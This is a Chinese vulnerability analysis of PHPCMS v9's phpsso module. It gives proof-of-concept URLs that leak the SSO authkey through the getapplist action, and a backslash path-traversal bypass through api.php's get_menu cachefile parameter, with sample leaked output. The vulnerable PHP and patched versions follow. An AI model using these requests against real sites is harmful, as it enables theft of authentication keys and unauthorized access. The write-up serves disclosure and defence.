catalog
. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考
1. 漏洞描述
安装phpcms的时候会强制安装它的通行证
Relevant Link:
http://www.wooyun.org/bugs/wooyun-2014-066394
2. 漏洞触发条件
0x1: POC1
. 访问头像上传页面
http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
//获取'upurl':"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&" . Base64解码后
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
//将url里的uploadavatar换成：getapplist
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA . 得到authkey
0x2: POC Bypass Path 1
http://localhost/phpcms_v9/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
3. 漏洞影响范围
4. 漏洞代码分析
\phpsso_server\phpcms\modules\phpsso\index.php
/**
* 获取应用列表
*/
public function getapplist()
{
$applist = getcache('applist', 'admin');
exit(serialize($applist));
}
这个函数从cache中获取applist信息，继续追溯cache里的内容
\phpsso_server\caches\caches_admin\caches_data\applist.cache.php
<?php
return array (
=>
array (
'appid' => '',
'type' => 'phpcms_v9',
'name' => 'phpcms v9',
'url' => 'http://localhost/phpcms_v9/',
'authkey' => 'lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0',
'ip' => '',
'apifilename' => 'api.php?op=phpsso',
'charset' => 'utf-8',
'synlogin' => '',
),
);
?>
所以只要我们调用phpsso并且能走到getapplist()这个方法里，就会突出sso配置的客户端的所有信息，包括authkey，我们继续回溯分析漏洞源头
\phpsso_server\phpcms\modules\phpsso\classes\phpsso.class.php
public function __construct()
{
$this->db = pc_base::load_model('member_model');
pc_base::load_app_func('global'); /*获取系统配置*/
$this->settings = getcache('settings', 'admin');
$this->applist = getcache('applist', 'admin'); //GET数据全部传递给POST
if(isset($_GET) && is_array($_GET) && count($_GET) > )
{
foreach($_GET as $k=>$v)
{
if(!in_array($k, array('m','c','a')))
{
$_POST[$k] = $v;
}
}
} if(isset($_POST['appid']))
{
$this->appid = intval($_POST['appid']);
}
else
{
exit('');
} if(isset($_POST['data']))
{
//将getapplist()结果赋值给$_POST['data']
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data); if(empty($this->data) || !is_array($this->data)) {
exit('');
}
} else {
exit('');
}
接下里的问题是我们要如何获取$_POST['data']，继续回溯到上传头像页面
http://localhost/phpcms_v9/index.php?m=member&c=index&a=account_manage_avatar&t=1
//查看源代码
script type="text/javascript">
var flashvars = {
'upurl':"aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==&callback=return_avatar&"
};
var params = {
'align':'middle',
'play':'true',
'loop':'false',
'scale':'showall',
'wmode':'window',
'devicefont':'true',
'id':'Main',
'bgcolor':'#ffffff',
'name':'Main',
'allowscriptaccess':'always'
};
var attributes = {
得到base64编码后的URL
aHR0cDovL2xvY2FsaG9zdC9waHBjbXNfdjkvcGhwc3NvX3NlcnZlci9pbmRleC5waHA/bT1waHBzc28mYz1pbmRleCZhPXVwbG9hZGF2YXRhciZhdXRoX2RhdGE9dj0xJmFwcGlkPTEmZGF0YT1iOTVmNzJ2TUI1aHJGLVN0WXBhVWdSZkpDdVBxWjVOVGhLN3FSTE5jX3lOdEpTQmplZ3JLZVJIdXI1Rm94c0tKaDM3bGpsVDcyVjJ2dEdUZzREUW1aQQ==
/*
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
*/
将url里的uploadavatar换成：getapplist
http://localhost/phpcms_v9/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=b95f72vMB5hrF-StYpaUgRfJCuPqZ5NThK7qRLNc_yNtJSBjegrKeRHur5FoxsKJh37ljlT72V2vtGTg4DQmZA
得到结果
a::{i:;a::{s::"appid";s::"";s::"type";s::"phpcms_v9";s::"name";s::"phpcms v9";s::"url";s::"http://localhost/phpcms_v9/";s::"authkey";s::"lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0";s::"ip";s::"";s::"apifilename";s::"api.php?op=phpsso";s::"charset";s::"utf-8";s::"synlogin";s::"";}}
/*
authkey: lOmYTRe7Ze6iDOKmKfay42foD0TaWxv0
*/
得到这个authkey，就可以获得了sso体系中的令牌，厂商对index.php中的getapplist()函数进行了patch，unset了数组中的authkey键值，但是却没有充分考虑到全部的攻击面
\api\get_menu.php
/**
* 获取地区列表
*/
function ajax_getlist() { $cachefile = $_GET['cachefile'];
$cachefile = str_replace(array('/', '//'), '', $cachefile);
//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
$path = $_GET['path'];
$path = str_replace(array('/', '//'), '', $path);
//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
$title = $_GET['title'];
$key = $_GET['key'];
//getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件，并读取内容
$infos = getcache($cachefile,$path);
$where_id = intval($_GET['parentid']);
$parent_menu_name = ($where_id==) ? '' : trim($infos[$where_id][$key]);
foreach($infos AS $k=>$v)
{
if($v['parentid'] == $where_id)
{
if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
}
}
if(count($s)>)
{
$jsonstr = json_encode($s);
echo trim_script($_GET['callback']).'(',$jsonstr,')';
exit;
}
else
{
echo trim_script($_GET['callback']).'()';exit;
}
}
Relevant Link:
http://0cx.cc/phpcms_phpsso_auth_key.jspx
http://0day5.com/archives/3251
5. 防御方法
\phpsso_server\phpcms\modules\phpsso\index.php
/**
* 获取应用列表
*/
public function getapplist()
{
$applist = getcache('applist', 'admin');
/**/
foreach($applist as $key=>$value)
{
unset($applist[$key]['authkey']);
}
/**/
exit(serialize($applist));
}
\api\get_menu.php
/**
* 获取地区列表
*/
function ajax_getlist() { $cachefile = $_GET['cachefile'];
//$cachefile = str_replace(array('/', '//'), '', $cachefile);
/**/
$cachefile = str_replace(array('/', '//', '\\'), '', $cachefile);
/**/
//$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
$path = $_GET['path'];
$path = str_replace(array('/', '//'), '', $path);
//$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
$title = $_GET['title'];
$key = $_GET['key'];
//getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件，并读取内容
$infos = getcache($cachefile,$path);
$where_id = intval($_GET['parentid']);
$parent_menu_name = ($where_id==) ? '' : trim($infos[$where_id][$key]);
foreach($infos AS $k=>$v)
{
if($v['parentid'] == $where_id)
{
if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
$s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
}
}
if(count($s)>)
{
$jsonstr = json_encode($s);
echo trim_script($_GET['callback']).'(',$jsonstr,')';
exit;
}
else
{
echo trim_script($_GET['callback']).'()';exit;
}
}
Relevant Link:
http://0day5.com/archives/3202
http://www.wooyun.org/bugs/wooyun-2015-0105242
6. 攻防思考
Copyright (c) 2015 Little5ann All rights reserved